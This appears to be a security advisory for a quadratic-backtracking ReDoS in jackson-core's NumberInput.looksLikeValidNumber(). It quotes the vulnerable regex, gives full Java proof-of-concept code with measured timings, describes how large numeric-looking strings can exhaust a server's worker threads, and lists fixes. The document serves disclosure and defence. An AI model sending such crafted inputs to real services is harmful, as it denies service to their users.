Vulnerability GHSA-p6pp-m3f8-5c89

High Risk
HIGH RISK
CVSS Score: 7.5
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
3 hours ago
October 01, 2026 at 03:19 PM UTC
jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()
2.18.10
2.18.10

Summary

jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()

Details

Status

FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took 74.4 seconds for one call to NumberInput.looksLikeValidNumber().

Affected Component / Version

  • Package: com.fasterxml.jackson.core:jackson-core
  • Confirmed against: jackson-core-2.20.2
  • Affected file: src/main/java/com/fasterxml/jackson/core/io/NumberInput.java (PATTERN_FLOAT line ~41-42, PATTERN_FLOAT_TRAILING_DOT line ~51, entry point looksLikeValidNumber() lines ~646-656)

Technical Analysis

private final static Pattern PATTERN_FLOAT = Pattern.compile(
      "[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?");

private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(
        "[+-]?[0-9]+[\\.]");

public static boolean looksLikeValidNumber(final String s) {
    // ... short-circuits only for null/empty/length==1 ...
    return PATTERN_FLOAT.matcher(s).matches()
            || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();
}

PATTERN_FLOAT contains ambiguous, adjacent quantifiers over the identical character class: [0-9]* (optional digits), an optional [.], then [0-9]+ (required digits). Java's backtracking Pattern/Matcher engine has no possessive quantifiers or atomic grouping here, so on a non-matching input the engine must explore every possible split point between the [0-9]* and [0-9]+ groups before concluding failure — the classic quadratic-backtracking shape. looksLikeValidNumber() compounds the cost by running a second full-string regex (PATTERN_FLOAT_TRAILING_DOT) whenever the first fails, roughly doubling the constant factor without changing the asymptotic class.

Critically, the length gate that applies to this specific path is StreamReadConstraints.maxStringLength (default 20,000,000), not maxNumberLength (default 1,000) — the length ceiling the library uses everywhere else for numeric content. This means inputs up to four orders of magnitude larger than the library's own numeric-length policy reach this quadratic regex unmodified.

Reproduction Procedure

Same clone/build steps as jackson-core_1_...md. Then:

CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java
java -cp "poc:$CP" PoC8_NumberInputReDoS

Full PoC Source (poc/PoC8_NumberInputReDoS.java)

import com.fasterxml.jackson.core.io.NumberInput;

public class PoC8_NumberInputReDoS {

    public static void main(String[] args) {
        int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};
        long[] timesMs = new long[sizes.length];

        System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n");

        for (int i = 0; i < sizes.length; i++) {
            int n = sizes[i];
            String s = repeat('1', n) + "x";

            if (i == 0) {
                NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up
            }

            long t0 = System.nanoTime();
            boolean result = NumberInput.looksLikeValidNumber(s);
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            timesMs[i] = elapsedMs;

            System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs);
        }

        System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):");
        boolean quadraticSignatureObserved = false;
        for (int i = 1; i < sizes.length; i++) {
            double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];
            System.out.printf("  n=%d -> n=%d : %dms -> %dms  (ratio=%.2fx)%n",
                    sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);
            if (ratio >= 3.0) quadraticSignatureObserved = true;
        }

        System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1]
                + " ms for a single call from ONE HTTP-body-sized string.");
        System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) "
                + "governs this path, not maxNumberLength (1,000).");

        if (quadraticSignatureObserved) {
            System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent "
                    + "with quadratic backtracking in PATTERN_FLOAT on non-matching input.");
        }
    }

    static String repeat(char c, int n) {
        char[] arr = new char[n];
        java.util.Arrays.fill(arr, c);
        return new String(arr);
    }
}

Captured Evidence (actual run output)

Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:

n=5000     looksLikeValidNumber=false  elapsed=    74 ms
n=10000    looksLikeValidNumber=false  elapsed=   306 ms
n=20000    looksLikeValidNumber=false  elapsed=  1157 ms
n=40000    looksLikeValidNumber=false  elapsed=  4655 ms
n=80000    looksLikeValidNumber=false  elapsed= 18592 ms
n=160000   looksLikeValidNumber=false  elapsed= 74393 ms

Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):
  n=5000 -> n=10000 : 74ms -> 306ms  (ratio=4.14x)
  n=10000 -> n=20000 : 306ms -> 1157ms  (ratio=3.78x)
  n=20000 -> n=40000 : 1157ms -> 4655ms  (ratio=4.02x)
  n=40000 -> n=80000 : 4655ms -> 18592ms  (ratio=3.99x)
  n=80000 -> n=160000 : 18592ms -> 74393ms  (ratio=4.00x)

Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.

=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic
backtracking in PATTERN_FLOAT on non-matching input.

This is an unusually clean empirical result: five consecutive doublings each produced a ratio between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within 5% at every single measurement, leaving essentially no ambiguity about the complexity class. Extrapolating this measured curve, a ~1MB string (well within common request body limits) would take on the order of hours for a single call.

Impact

Any application that coerces a String-typed JSON field to a number (default jackson-databind behavior) is exposed: an attacker who can submit a large numeric-looking string (up to maxStringLength's default of 20,000,000 characters — far larger than needed given the measured curve) can pin a request-handling thread for an extended period with a single request. Because the cost scales quadratically, a handful of concurrent moderately-sized requests (tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread pool, denying service to all users.

Remediation

  1. Rewrite PATTERN_FLOAT without quantifier ambiguity using possessive quantifiers, e.g. [+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?, which also folds in the trailing-dot case and removes the need for a second full-string scan.
  2. Better: replace the regex entirely with a single-pass hand-written character scan — the same file already contains exactly this pattern for parseInt, so the library has both the precedent and the code style available.
  3. Apply an independent length limit (maxNumberLength, not the much larger maxStringLength) before calling looksLikeValidNumber(), closing the four-orders-of- magnitude gap between the two constraints for this specific code path.
  4. Operationally, until fixed: tighten StreamReadConstraints.maxStringLength well below its default, and set wall-clock timeouts on parse/coercion operations.

Related Vulnerabilities

Other vulnerabilities affecting the same packages

High Risk
3 hours ago
jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)
>=2.8.0 <2.8.12, ==2.9.0, ==2.10.0, ==2.10.0.pr1, ==2.10.0.pr2, ==2.10.0.pr3, >=2.10.1 <2.10.6, ==2.11.0, ==2.11.0.rc1, >=2.11.1 <2.11.5, >=2.12.0 <2.12.8, >=2.13.0 <2.13.6, >=2.14.0 <2.14.4, >=2.15.0 <2.15.5, >=2.16.0 <2.16.3, >=2.17.0 <2.17.4, >=2.18.0 <2.18.5, ==2.18.10, ==2.18.4.1, >=2.18.5 <2.18.10, >=2.19.0 <2.19.5, >=2.20.0 <2.20.3, >=2.21.0 <2.21.7, >=2.22.0 <2.22.3, ==2.9.0.pr1, ==2.9.0.pr2, ==2.9.0.pr3, ==2.9.0.pr4, >=2.9.1 <2.9.11 GHSA-7hhh-6rmp-j9qf
>=2.8.0 <2.8.12, ==2.9.0, ==2.10.0, ==2.10.0.pr1, ==2.10.0.pr2, ==2.10.0.pr3, >=2.10.1 <2.10.6, ==2.11.0, ==2.11.0.rc1, >=2.11.1 <2.11.5, >=2.12.0 <2.12.8, >=2.13.0 <2.13.6, >=2.14.0 <2.14.4, >=2.15.0 <2.15.5, >=2.16.0 <2.16.3, >=2.17.0 <2.17.4, >=2.18.0 <2.18.5, ==2.18.10, ==2.18.4.1, >=2.18.5 <2.18.10, >=2.19.0 <2.19.5, >=2.20.0 <2.20.3, >=2.21.0 <2.21.7, >=2.22.0 <2.22.3, ==2.9.0.pr1, ==2.9.0.pr2, ==2.9.0.pr3, ==2.9.0.pr4, >=2.9.1 <2.9.11 GHSA-7hhh-6rmp-j9qf
High Risk
3 hours ago
jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)
>=3.0.0 <3.0.5, >=3.1.0 <3.1.7, >=3.2.0 <3.2.3 GHSA-7hhh-6rmp-j9qf
>=3.0.0 <3.0.5, >=3.1.0 <3.1.7, >=3.2.0 <3.2.3 GHSA-7hhh-6rmp-j9qf
High Risk
2 months ago
jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)
>=2.0.0 <2.0.3, >=2.0.4 <2.0.7, >=2.1.0 <2.1.6, >=2.2.0 <2.2.5, >=2.3.0 <2.3.6, ==2.4.0, ==2.4.1, ==2.10.0, ==2.10.0.pr1, ==2.10.0.pr2, ==2.10.0.pr3, >=2.10.1 <2.10.6, ==2.11.0, ==2.11.0.rc1, >=2.11.1 <2.11.5, >=2.12.0 <2.12.8, >=2.13.0 <2.13.6, >=2.14.0 <2.14.4, >=2.15.0 <2.15.5, >=2.16.0 <2.16.3, >=2.17.0 <2.17.4, >=2.18.0 <2.18.5, ==2.18.4.1, >=2.18.5 <2.18.8, ==2.4.1.1, >=2.4.2 <2.4.7, >=2.5.0 <2.5.6, >=2.6.0 <2.6.8, >=2.7.0 <2.7.10, ==2.8.0, ==2.8.0.rc1, ==2.8.0.rc2, >=2.8.1 <2.8.12, ==2.9.0, ==2.9.0.pr1, ==2.9.0.pr2, ==2.9.0.pr3, ==2.9.0.pr4, >=2.9.1 <2.9.11, >=2.19.0 <2.19.5, >=2.20.0 <2.20.3, >=2.21.0 <2.21.4 GHSA-r7wm-3cxj-wff9
>=2.0.0 <2.0.3, >=2.0.4 <2.0.7, >=2.1.0 <2.1.6, >=2.2.0 <2.2.5, >=2.3.0 <2.3.6, ==2.4.0, ==2.4.1, ==2.10.0, ==2.10.0.pr1, ==2.10.0.pr2, ==2.10.0.pr3, >=2.10.1 <2.10.6, ==2.11.0, ==2.11.0.rc1, >=2.11.1 <2.11.5, >=2.12.0 <2.12.8, >=2.13.0 <2.13.6, >=2.14.0 <2.14.4, >=2.15.0 <2.15.5, >=2.16.0 <2.16.3, >=2.17.0 <2.17.4, >=2.18.0 <2.18.5, ==2.18.4.1, >=2.18.5 <2.18.8, ==2.4.1.1, >=2.4.2 <2.4.7, >=2.5.0 <2.5.6, >=2.6.0 <2.6.8, >=2.7.0 <2.7.10, ==2.8.0, ==2.8.0.rc1, ==2.8.0.rc2, >=2.8.1 <2.8.12, ==2.9.0, ==2.9.0.pr1, ==2.9.0.pr2, ==2.9.0.pr3, ==2.9.0.pr4, >=2.9.1 <2.9.11, >=2.19.0 <2.19.5, >=2.20.0 <2.20.3, >=2.21.0 <2.21.4 GHSA-r7wm-3cxj-wff9
High Risk
2 months ago
jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)
>=3.0.0 <3.0.5, >=3.1.0 <3.1.4 GHSA-r7wm-3cxj-wff9
>=3.0.0 <3.0.5, >=3.1.0 <3.1.4 GHSA-r7wm-3cxj-wff9
High Risk
6 months ago
Jackson Core: Document length constraint bypass in blocking, async, and DataInput parsers
3.1.0 GHSA-2m67-wjpj-xhg9
3.1.0 GHSA-2m67-wjpj-xhg9
View all vulnerabilities for these packages

Timeline

Published
3 hours ago
October 01, 2026 at 03:19 PM UTC
Fixed (2.18.11)
Unknown
Unknown
Fixed (2.21.7)
Unknown
Unknown
Fixed (2.22.3)
Unknown
Unknown
Fixed (3.1.7)
Unknown
Unknown
Fixed (3.2.2)
Unknown
Unknown
Last Modified
3 hours ago
October 01, 2026 at 03:30 PM UTC